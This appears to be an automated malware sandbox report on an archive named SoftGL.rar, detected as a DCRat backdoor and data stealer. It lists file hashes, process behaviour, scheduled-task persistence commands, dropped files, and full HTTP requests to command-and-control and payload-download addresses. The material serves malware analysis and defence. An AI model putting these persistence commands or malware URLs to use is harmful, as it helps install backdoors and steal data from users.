File name:

SoftGL.rar

Full analysis: https://app.any.run/tasks/eec4c639-018b-4924-8605-128102ed8ed5
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: June 27, 2022, 12:16:01
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
opendir
loader
trojan
rat
backdoor
dcrat
evasion
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

53A97C9DE32C868B76796DF4E141BE92

SHA1:

CB63E6DDF6A7976D03683D6974F0FBA6FCA6C521

SHA256:

2913C2F741EDF9BFE1A120119B79251EB33E402C24EEEC24B0D57B58A6090836

SSDEEP:

98304:1McuYJUcS7ivy9kEaDhgjj39oDO3sI66z4:yhB2vy9kEBjL9oa3sla4

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • SoftGL.exe (PID: 2592)
      • Lanskoy.exe (PID: 36348)
      • BrokerNet.exe (PID: 3412)
      • csrss.exe (PID: 4328)
      • SoftGL.exe (PID: 5632)
      • Lanskoy.exe (PID: 5000)
      • BrokerNet.exe (PID: 5680)

    • Drops executable file immediately after starts

      • WinRAR.exe (PID: 1560)
      • Lanskoy.exe (PID: 36348)
      • BrokerNet.exe (PID: 3412)
      • AppLaunch.exe (PID: 4664)
      • AppLaunch.exe (PID: 35476)

    • UAC/LUA settings modification

      • BrokerNet.exe (PID: 3412)
      • csrss.exe (PID: 4328)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 3988)
      • schtasks.exe (PID: 1148)
      • schtasks.exe (PID: 3232)
      • schtasks.exe (PID: 2836)
      • schtasks.exe (PID: 1196)
      • schtasks.exe (PID: 2492)
      • schtasks.exe (PID: 664)
      • schtasks.exe (PID: 2688)
      • schtasks.exe (PID: 2588)

    • DCRAT was detected

      • csrss.exe (PID: 4328)

    • Connects to CnC server

      • csrss.exe (PID: 4328)

    • Changes settings of System certificates

      • csrss.exe (PID: 4328)

    • Actions looks like stealing of personal data

      • AppLaunch.exe (PID: 4664)
      • AppLaunch.exe (PID: 35476)

  • SUSPICIOUS

    • Drops a file with a compile date too recent

      • WinRAR.exe (PID: 1560)
      • AppLaunch.exe (PID: 35476)
      • Lanskoy.exe (PID: 36348)
      • BrokerNet.exe (PID: 3412)
      • AppLaunch.exe (PID: 4664)

    • Checks supported languages

      • WinRAR.exe (PID: 1560)
      • SoftGL.exe (PID: 2592)
      • Lanskoy.exe (PID: 36348)
      • WScript.exe (PID: 36608)
      • WScript.exe (PID: 36724)
      • cmd.exe (PID: 2108)
      • BrokerNet.exe (PID: 3412)
      • csrss.exe (PID: 4328)
      • SoftGL.exe (PID: 5632)
      • AppLaunch.exe (PID: 4664)
      • AppLaunch.exe (PID: 35476)
      • Lanskoy.exe (PID: 5000)
      • WScript.exe (PID: 5296)
      • WScript.exe (PID: 5456)
      • cmd.exe (PID: 5404)
      • BrokerNet.exe (PID: 5680)

    • Reads the computer name

      • WinRAR.exe (PID: 1560)
      • Lanskoy.exe (PID: 36348)
      • WScript.exe (PID: 36724)
      • WScript.exe (PID: 36608)
      • BrokerNet.exe (PID: 3412)
      • csrss.exe (PID: 4328)
      • AppLaunch.exe (PID: 4664)
      • AppLaunch.exe (PID: 35476)
      • Lanskoy.exe (PID: 5000)
      • WScript.exe (PID: 5296)
      • WScript.exe (PID: 5456)
      • BrokerNet.exe (PID: 5680)

    • Reads the cookies of Google Chrome

      • AppLaunch.exe (PID: 35476)

    • Uses RUNDLL32.EXE to load library

      • AppLaunch.exe (PID: 35476)
      • AppLaunch.exe (PID: 4664)

    • Executable content was dropped or overwritten

      • Lanskoy.exe (PID: 36348)
      • BrokerNet.exe (PID: 3412)
      • WinRAR.exe (PID: 1560)
      • AppLaunch.exe (PID: 35476)

    • Executes scripts

      • Lanskoy.exe (PID: 36348)
      • Lanskoy.exe (PID: 5000)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 36608)
      • WScript.exe (PID: 5296)

    • Reads Environment values

      • BrokerNet.exe (PID: 3412)
      • csrss.exe (PID: 4328)
      • BrokerNet.exe (PID: 5680)

    • Executed via WMI

      • schtasks.exe (PID: 3988)
      • schtasks.exe (PID: 1148)
      • schtasks.exe (PID: 3232)
      • schtasks.exe (PID: 664)
      • schtasks.exe (PID: 2836)
      • schtasks.exe (PID: 1196)
      • schtasks.exe (PID: 2688)
      • schtasks.exe (PID: 2492)
      • schtasks.exe (PID: 2588)

    • Starts itself from another location

      • BrokerNet.exe (PID: 3412)

    • Adds / modifies Windows certificates

      • csrss.exe (PID: 4328)

    • Checks for external IP

      • csrss.exe (PID: 4328)

  • INFO

    • Manual execution by user

      • SoftGL.exe (PID: 2592)
      • SoftGL.exe (PID: 5632)

    • Checks supported languages

      • rundll32.exe (PID: 36020)
      • schtasks.exe (PID: 3988)
      • schtasks.exe (PID: 1148)
      • schtasks.exe (PID: 3232)
      • schtasks.exe (PID: 2836)
      • schtasks.exe (PID: 664)
      • schtasks.exe (PID: 1196)
      • schtasks.exe (PID: 2492)
      • schtasks.exe (PID: 2588)
      • schtasks.exe (PID: 2688)
      • rundll32.exe (PID: 4680)

    • Reads the computer name

      • rundll32.exe (PID: 36020)
      • schtasks.exe (PID: 3988)
      • schtasks.exe (PID: 1148)
      • schtasks.exe (PID: 3232)
      • schtasks.exe (PID: 2836)
      • schtasks.exe (PID: 664)
      • schtasks.exe (PID: 1196)
      • schtasks.exe (PID: 2492)
      • schtasks.exe (PID: 2688)
      • schtasks.exe (PID: 2588)
      • rundll32.exe (PID: 4680)

    • Checks Windows Trust Settings

      • WScript.exe (PID: 36608)
      • WScript.exe (PID: 36724)
      • WScript.exe (PID: 5296)
      • WScript.exe (PID: 5456)

    • Reads settings of System Certificates

      • csrss.exe (PID: 4328)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
70
Monitored processes
27
Malicious processes
12
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start winrar.exe softgl.exe applaunch.exe rundll32.exe no specs lanskoy.exe wscript.exe no specs wscript.exe no specs cmd.exe no specs brokernet.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT csrss.exe softgl.exe applaunch.exe rundll32.exe no specs lanskoy.exe no specs wscript.exe no specs wscript.exe no specs cmd.exe no specs brokernet.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
664schtasks.exe /create /tn "IMEDICTUPDATE" /sc ONLOGON /tr "'C:\reviewsessionHost\IMEDICTUPDATE.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\usp10.dll
1148schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\admin\Downloads\csrss.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1196schtasks.exe /create /tn "IMEDICTUPDATEI" /sc MINUTE /mo 10 /tr "'C:\reviewsessionHost\IMEDICTUPDATE.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1560"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SoftGL.rar"C:\Program Files\WinRAR\WinRAR.exe
Explorer.EXE
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
2108C:\Windows\system32\cmd.exe /c ""C:\reviewsessionHost\k3Cu6zMzjknS1GJIS.bat" "C:\Windows\system32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2492schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 6 /tr "'C:\reviewsessionHost\taskhost.exe'" /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\ole32.dll
c:\windows\system32\shlwapi.dll
2588schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\reviewsessionHost\taskhost.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2592"C:\Users\admin\Desktop\SoftGL.exe" C:\Users\admin\Desktop\SoftGL.exe
Explorer.EXE
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221225477
Modules
Images
c:\users\admin\desktop\softgl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\apphelp.dll
c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe
2688schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 7 /tr "'C:\reviewsessionHost\taskhost.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\rpcrt4.dll
2836schtasks.exe /create /tn "IMEDICTUPDATEI" /sc MINUTE /mo 5 /tr "'C:\reviewsessionHost\IMEDICTUPDATE.exe'" /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\usp10.dll
Total events
8 554
Read events
8 441
Write events
111
Delete events
2

Modification events

(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(1560) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\SoftGL.rar
(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(1560) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
Executable files
6
Suspicious files
0
Text files
5
Unknown types
1

Dropped files

PID
Process
Filename
Type
36348Lanskoy.exeC:\reviewsessionHost\k3Cu6zMzjknS1GJIS.battext
MD5:—
SHA256:—
1560WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb1560.32895\SoftGL.exeexecutable
MD5:—
SHA256:—
35476AppLaunch.exeC:\Users\admin\AppData\Local\Temp\Lanskoy.exeexecutable
MD5:—
SHA256:—
36348Lanskoy.exeC:\reviewsessionHost\BrokerNet.exeexecutable
MD5:—
SHA256:—
3412BrokerNet.exeC:\Users\admin\Downloads\886983d96e3d3etext
MD5:—
SHA256:—
3412BrokerNet.exeC:\reviewsessionHost\1173b9a28a9c10text
MD5:—
SHA256:—
3412BrokerNet.exeC:\reviewsessionHost\taskhost.exeexecutable
MD5:—
SHA256:—
36348Lanskoy.exeC:\reviewsessionHost\C97NJf0jgM8RgM1JKct2s5VaBxnwYd.vbevbe
MD5:—
SHA256:—
3412BrokerNet.exeC:\Users\admin\Downloads\csrss.exeexecutable
MD5:—
SHA256:—
3412BrokerNet.exeC:\reviewsessionHost\IMEDICTUPDATE.exeexecutable
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
24
TCP/UDP connections
19
DNS requests
3
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4328
csrss.exe
GET
200
217.28.221.151:80
http://217.28.221.151/DbLocal/dlePrivate/imageUploads/7process/Serverhttp/9LinuxBase/2dle/VideoTrackCentralDownloads.php?aIBRXPdtYXmmC5tQuxfN=8kAfbhziDkUc4JDt&a857e6358b6a66ec9f931d7fef13c4d4=gNxAjM0QDNlJzNygTY0UGO5EmZ5IjNzEjM5IzMwUGOhFjMhRDZ3QmY2UTOxcDM5MzMxQDMxQjM&bc00a30df5d4da97ac074521e205c2f8=gZkdjN2EWY5kTYmZTZyImM4YDNjdDNwYjZ3AjY1cTYzImY1MWOwgjN&8ae9b73744cf429dffe0077659d7eca9=0VfiIiOiMTYiNzYyMmZlBDZkVWZ2MzY0ITNwIDNlV2MwUjZmhTZiwiIyMWNkljN0cTN3cTNilTNlZDMwYDM1QmZiNDZyEGZ3YWNlFDZhVTMmJiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W
RU
—
—
malicious
4328
csrss.exe
GET
—
217.28.221.151:80
http://217.28.221.151/DbLocal/dlePrivate/imageUploads/7process/Serverhttp/9LinuxBase/2dle/VideoTrackCentralDownloads.php?aIBRXPdtYXmmC5tQuxfN=8kAfbhziDkUc4JDt&a857e6358b6a66ec9f931d7fef13c4d4=gNxAjM0QDNlJzNygTY0UGO5EmZ5IjNzEjM5IzMwUGOhFjMhRDZ3QmY2UTOxcDM5MzMxQDMxQjM&bc00a30df5d4da97ac074521e205c2f8=gZkdjN2EWY5kTYmZTZyImM4YDNjdDNwYjZ3AjY1cTYzImY1MWOwgjN&323d2c38ec58c3aec027f0ac73cdacfe=d1nI1czY2QzY5YmYkVmY4UmYmVmZmNmZlVWM1AjNzQmYiFmZycTZhBDMmJiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W
RU
—
—
malicious
4328
csrss.exe
GET
—
217.28.221.151:80
http://217.28.221.151/DbLocal/dlePrivate/imageUploads/7process/Serverhttp/9LinuxBase/2dle/VideoTrackCentralDownloads.php?aIBRXPdtYXmmC5tQuxfN=8kAfbhziDkUc4JDt&a857e6358b6a66ec9f931d7fef13c4d4=gNxAjM0QDNlJzNygTY0UGO5EmZ5IjNzEjM5IzMwUGOhFjMhRDZ3QmY2UTOxcDM5MzMxQDMxQjM&bc00a30df5d4da97ac074521e205c2f8=gZkdjN2EWY5kTYmZTZyImM4YDNjdDNwYjZ3AjY1cTYzImY1MWOwgjN&8ae9b73744cf429dffe0077659d7eca9=0VfiIiOiMTYiNzYyMmZlBDZkVWZ2MzY0ITNwIDNlV2MwUjZmhTZiwiI2QzNkFGOhVTY3IGMkFmZ1czYzQmNlVWNzUmZ5U2M5IWNiJzY0gzYzIiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W
RU
—
—
malicious
4328
csrss.exe
GET
200
217.28.221.151:80
http://217.28.221.151/DbLocal/dlePrivate/imageUploads/7process/Serverhttp/9LinuxBase/2dle/VideoTrackCentralDownloads.php?aIBRXPdtYXmmC5tQuxfN=8kAfbhziDkUc4JDt&a857e6358b6a66ec9f931d7fef13c4d4=gNxAjM0QDNlJzNygTY0UGO5EmZ5IjNzEjM5IzMwUGOhFjMhRDZ3QmY2UTOxcDM5MzMxQDMxQjM&bc00a30df5d4da97ac074521e205c2f8=gZkdjN2EWY5kTYmZTZyImM4YDNjdDNwYjZ3AjY1cTYzImY1MWOwgjN&323d2c38ec58c3aec027f0ac73cdacfe=d1nIwETOhN2NhBzY0QGMlRDNwYDM5Q2Y2gTN2ITMjVTYkZ2N0QTZkdjN4IiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W&8ae9b73744cf429dffe0077659d7eca9=d1nIiojIzEmYzMmMjZWZwQGZlVmNzMGNyUDMyQTZlNDM1YmZ4UmIsICMxkTYjdTYwMGNkBTZ0QDM2ATOkNmN4UjNyEzY1EGZmdDN0UGZ3YDOiojI3ITOmdzM3ITYykzMxYDOjJTZkRTYwUDMiJWYyYTM4EmIsIiNzATN4EDZmNDZjJTNjNDM3ETZ3MmZwQWNzQGM1M2M4M2Y0YDM5czMiojIwkTOjJmNwETYzUmYhJGOkdjYwIjMyQWMzY2NiR2NzUjI7xSfiADWmlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0LJl2TpFlaZNTVtllaWdVTqZleNJTQ650asRVTqp0RP1mUH5kMZJTT41EValXVU10MZRVT0k1RPNzZql0cJNUTp9maJlmUq5kakRVWpZ1VatmQEpFbadVW410RPBTWqplMnRVWpZUbNlXUX9UeJpWWxMGVZRTRUpVaKlXZ2k0UZBjRHJFMohlWpd3UOZTSDRWM5clW0x2RWdnVXp1cOxWSzl0UaJDbHRmaGtWS2kUejFjUYlFMOZVZwwWbkBnUzklQKNETplEWa5mRtJGaxUUS0ZUbj5WOtNWUKl2TpN2MitWNXFGWSFTUCp0QMlGNrlkNJNlYo5UbZxGZxMGcKNETptGbJZTSTpVd5cUY3lTbjpGbXRles1WSzl0ULpXQ5pVdsd0Y3Z1RkRlQD5UNBNkYsJlMi5kQp50ZrhkYwFzVZdkQD5kMnh0Sn9GSThkQ65UdJRUSBJ0UWFlTFl0dBRkTyAzUOBnQTtkTSZ0Ssp0MiRkQTt0UoNkYsJlbipkSp9UaVdlYoVTVWFlTrl0cJN1SClTaU9WQpNGbSh0YoJ1VRdWTzkFcod0Yop0MSdWRwI1VCNkW5Z0RaVnRHRGVKl2TpV1VihWNVZVUktWSzlUaUl2bqlUdsdlYrZEMjBnSDxUaJl2TpNWVRVlSDxUaRhVYDJUaNpXQDJGa1IjYw50MjxmWyIWeCZUSzEUejNTOHpVdsJjVp9maJlnVtZVdsJjVpd3UmlWUYRWesdlWDlzUZBnTYFVavpWSsVjMiZjVXJGcS5WSzl0QNdXQE10dBpWS2k0QihmUzMmdC5WSzlUaiZXNXlVaWdEVnBzQJtmVXFWbsJTWsJ0MjdWUzI2TKl2TpNWbjZnSDxUaNpXT6dmaMFTTExkeNpXT0QTeNpXSp9UaNJjYzp0QMlWSFRVavpWS1oESkVnVzImaKNETplUaPlGNyIGckdlW5p0QMlWSp9UarhEZw5UbJNXS51Ue0knT6RzQNpHNp1EeJpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTYiNzYyMmZlBDZkVWZ2MzY0ITNwIDNlV2MwUjZmhTZiwiIyYmMlljM0ImMiVTNmhzYhZGO0QzNlZWZwIWO2EmN3YTZyYTNhVWMmJiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W
RU
text
104 b
malicious
4328
csrss.exe
GET
200
217.28.221.151:80
http://217.28.221.151/DbLocal/dlePrivate/imageUploads/7process/Serverhttp/9LinuxBase/2dle/VideoTrackCentralDownloads.php?N8qyiaI1KKpnXTUHchAw6soLUwSKHwq=7yRPxJCkWkWo3ZNAH&qfsBCfUfdvI8tXdJqiBFTSfZZ=V9R4jRDUGKx6&w4RqQcY09Luto9BdY9TmqJUNi=04YRTVt&bc4ab1fca2b8c32b54ee901a43bc57b6=5ef2b7af8dc3f350c93776891a78c608&bc00a30df5d4da97ac074521e205c2f8=QZlVGO4kTM2EDNiRWY0QWOkZTM4gjYlZ2MlBTM4MjNmJDN1Q2YzMjM&N8qyiaI1KKpnXTUHchAw6soLUwSKHwq=7yRPxJCkWkWo3ZNAH&qfsBCfUfdvI8tXdJqiBFTSfZZ=V9R4jRDUGKx6&w4RqQcY09Luto9BdY9TmqJUNi=04YRTVt
RU
text
2.02 Kb
malicious
35476
AppLaunch.exe
GET
200
185.112.83.99:80
http://185.112.83.99:80/Lanskoy.exe
RU
executable
3.04 Mb
malicious
4328
csrss.exe
GET
200
217.28.221.151:80
http://217.28.221.151/DbLocal/dlePrivate/imageUploads/7process/Serverhttp/9LinuxBase/2dle/VideoTrackCentralDownloads.php?aIBRXPdtYXmmC5tQuxfN=8kAfbhziDkUc4JDt&a857e6358b6a66ec9f931d7fef13c4d4=gNxAjM0QDNlJzNygTY0UGO5EmZ5IjNzEjM5IzMwUGOhFjMhRDZ3QmY2UTOxcDM5MzMxQDMxQjM&bc00a30df5d4da97ac074521e205c2f8=gZkdjN2EWY5kTYmZTZyImM4YDNjdDNwYjZ3AjY1cTYzImY1MWOwgjN&323d2c38ec58c3aec027f0ac73cdacfe=d1nI3ETOzIDMxIGO2UWYkljZ1UGO5YjN5MGZmlTOidzY5MzNkNzNkJ2YiJiOicjM5Y2NzcjMhJTOzEjN4MmMlRGNhBTNwImYhJjNxgTYiwiI2MDM1gTMkZ2MkNmM1M2MwcTMldzYmBDZ1MDZwUzYzgzYjRjNwkzNzIiOiATO5MmY2ATMhNTZiFmY4Q2NiBjMyIDZxMjZ3IGZ3MTNis3W
RU
text
104 b
malicious
4328
csrss.exe
GET
200
217.28.221.151:80
http://217.28.221.151/DbLocal/dlePrivate/imageUploads/7process/Serverhttp/9LinuxBase/2dle/VideoTrackCentralDownloads.php?aIBRXPdtYXmmC5tQuxfN=8kAfbhziDkUc4JDt&a857e6358b6a66ec9f931d7fef13c4d4=gNxAjM0QDNlJzNygTY0UGO5EmZ5IjNzEjM5IzMwUGOhFjMhRDZ3QmY2UTOxcDM5MzMxQDMxQjM&bc00a30df5d4da97ac074521e205c2f8=gZkdjN2EWY5kTYmZTZyImM4YDNjdDNwYjZ3AjY1cTYzImY1MWOwgjN&dbbde9ec4153e9094bec4f850f2a65ab=0VfiElZp1ESahWOHJWdkNjYFhnRYVHbXJ2aGdEWj5kbjxmTYZ1Y4x2TEpUaPl2ZHRGaCxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUS12Y25kMjBnUrl0cJlWS2k0QhBjRHVFdG12YuZ1RixmUsl0cJlWS2kUejdnQYFFdGdlWw4EbJNXSpJ2M50mYyVzVWl2bqlURst2Ys5EWWRnRXpFMOxWSzlUejZHZXFWeSdVW5ljRixGbtNWaGJjWp9maJlnVyMmVxcVWsJ1MVl2dDJ2cW5mY2kUeaVnRHRFdGdlWw4EbJNXSTJGaWdEZ6lTejxGeXFWbCNlYop0MaZnSINmdvpXWp9maJ9mUYlVUxcVWsJ1MVl2dplEc4cVYrZFWRd2YU9kbNVVUnN3VaBDeXlFbKZ0SnRzVTdWVtJGc4tmYjpESYZHbHpVMGVUSzsmeKRkRFlkcWdEZzZ0VaNFaDlEb1IjYvJ0MilnTXFmTKl2Tp1EWaVXOHF2d502Yqx2VUl2dplUavpWS6FzVZpmSXpFWKNETpRzRYlHeW1kWGVEVR5kVTVEeGhVd3ZEWjhHbJZTS5NWdWdlW55kMVl2dplUdkNjY1RXbiZlSp9UaBZ1UPZURUl2dpl0QkVUSxQTeNl2bqlkTGtWVpdXaJVHZzIWd01mYWpUaPl2dHJGakhlW5xWbSl2dplUdkNjY1RXbiZlSp9UaNhFZ5xWbkBnUuJmQKNETpVERJRXQDlUT4VlUFpUaPlGNyIGcO52YspVMVBFbrFVa3lWS3RTaNd3bE10dBlGZsJ1RJNXSVR1a4dkYsF0UaZDbyM2Z3NUZ0EEVKRjQElEMGdUSrZ1RilmRtJGbCNFVUJ1aRdWUwIlSCNkYsJlb